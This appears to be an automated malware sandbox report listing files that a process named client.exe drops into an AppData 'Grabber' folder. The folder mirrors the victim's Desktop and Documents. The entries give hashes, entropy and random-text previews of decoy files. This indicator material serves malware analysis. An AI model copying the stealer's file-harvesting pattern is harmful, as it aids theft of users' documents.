EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	true
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	true
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
